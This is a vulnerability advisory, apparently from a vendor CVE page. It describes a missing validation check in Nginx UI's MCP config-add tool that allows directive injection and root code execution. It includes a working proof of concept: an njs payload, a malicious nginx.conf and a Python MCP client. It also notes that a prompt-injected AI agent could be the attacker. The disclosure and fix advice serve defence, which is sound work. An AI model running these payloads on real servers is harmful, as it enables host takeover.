Summary
Nginx UI: MCP nginxconfigadd skips config directive validation → authenticated nginx directive injection (RCE on the official image)
internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous
nginx directives, js_*, perl_*, load_module of the njs/perl modules, and user root. It is
enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, andmcp/config/config_modify.go. The fourth path, the MCP tool nginx_config_add
(mcp/config/config_add.go), does NOT call it: it writes the caller-supplied content straight to
disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)
can therefore inject exactly the directives the control is meant to block, leading to nginx code
execution on deployments where the njs/perl module is available (e.g. the official Docker image).
Root cause, an incomplete hardening patch
Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and
wired it into the config-write paths, but its changeset touched only:
api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),
mcp/config/config_modify.go (+5)
It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation
that all of its sibling paths received. config_add.go has never called ValidateConfigFile
(verified via git history); this is an oversight in the hardening, not a regression.
Affected code (mcp/config/config_add.go, handleNginxConfigAdd)
content := mcp.GetString(args, "content") // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload) // reloads nginx
Contrast, the guarded sibling (mcp/config/config_modify.go) does:
err = config.ValidateConfigFile(absPath, content) // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }
Proof of Concept (live, Docker, official image)
Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret
(X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.
Validation bypass (decisive):
tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}
→ SUCCESS; file written verbatim (confirmed on disk).- Same content via
nginx_config_modify→ REJECTED:{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.
Effect (using only the vulnerable config_add tool):
- Wrote
/etc/nginx/poc.js(njs module) and overwrote/etc/nginx/nginx.confwithload_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded;nginx -tok). /proc/<worker>/status→Uid: 0 0 0 0(workers run as root,user roottook effect).GET http://127.0.0.1:8899/pwn→pwned(njsjs_contentexecuted)./tmp/NJS_RCE_PROOF.txtcreated, owned by root → JavaScript code execution in the nginx
worker performing arbitrary file write as root.
- Wrote
Reproduction payloads (self-contained)
njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):
import fs from 'fs';
function pwn(r){
try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
r.return(200,'pwned\n');
}
export default { pwn };
Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):
load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
js_import poc from /etc/nginx/poc.js;
server { listen 8899; location = /pwn { js_content poc.pwn; } }
}
PoC client (MCP-over-SSE, Python stdlib only)
Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.
Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.
import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}
def sse_reader():
conn = http.client.HTTPConnection(BASE, timeout=60)
conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
r = conn.getresponse(); event = None
while True:
line = r.fp.readline()
if not line: break
line = line.decode("utf-8","replace").rstrip("\r\n")
if line.startswith("event:"): event = line[6:].strip()
elif line.startswith("data:"):
data = line[5:].strip()
if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
else: resp_q.put(data)
elif line == "": event = None
def post(obj):
conn = http.client.HTTPConnection(BASE, timeout=30)
conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
headers={**HDR, "Content-Type": "application/json"})
return conn.getresponse().read()
def wait(wid, t=20):
end = time.time()+t
while time.time() < end:
try: d = resp_q.get(timeout=t)
except queue.Empty: break
try: j = json.loads(d)
except Exception: continue
if j.get("id") == wid: return j
threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
if endpoint.get("ready"): break
time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
"capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
post({"jsonrpc":"2.0","id":3,"method":"tools/call",
"params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
print(json.dumps(wait(3, 25), indent=1))
Honest scope / caveats
- Authenticated (node secret or user JWT), agent-mediated, not unauthenticated.
- RCE is conditional on the njs/perl module being present; it ships in the official image, so the
default Docker deployment is exploitable. Stock nginx without those modules → DoS instead. - The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive
injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.) - nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling
workers run as root viauser root.
Dedup / novelty
Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause
is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not
involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation
control on the config_add path, and works on a fully patched (post-33032) instance. No existing
CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for
this repo). Appears novel.
Impact
An authenticated MCP principal, or a connected AI agent subverted via prompt injection, bypasses
the directive-validation security control and injects directives the project explicitly blocks
elsewhere. On deployments with the njs/perl module available (the official Docker image shipsngx_http_js_module.so), this yields code execution in the nginx worker and, via user root,
arbitrary file read/write as root (trivially escalated to full host compromise:/root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those
modules it is a reliable DoS (failed reload) plus a user root privilege regression.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-84317 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.10-0.20260703131214-23d1934099b0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile,
matching mcp/config/config_modify.go and the API paths, i.e. complete the 3e411d38 hardening on
the one path it missed.
--- (NOT a form field, include this as the closing section of the Description above) ---
Frequently Asked Questions
- What is CVE-2026-84317? CVE-2026-84317 is a high-severity improper input validation vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions < 1.9.10-0.20260703131214-23d1934099b0. It is fixed in 1.9.10-0.20260703131214-23d1934099b0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-84317? CVE-2026-84317 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-84317? github.com/0xJacky/Nginx-UI (go) versions < 1.9.10-0.20260703131214-23d1934099b0 is affected.
- Is there a fix for CVE-2026-84317? Yes. CVE-2026-84317 is fixed in 1.9.10-0.20260703131214-23d1934099b0. Upgrade to this version or later.
- Is CVE-2026-84317 exploitable, and should I be worried? Whether CVE-2026-84317 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-84317 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-84317? Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260703131214-23d1934099b0 or later.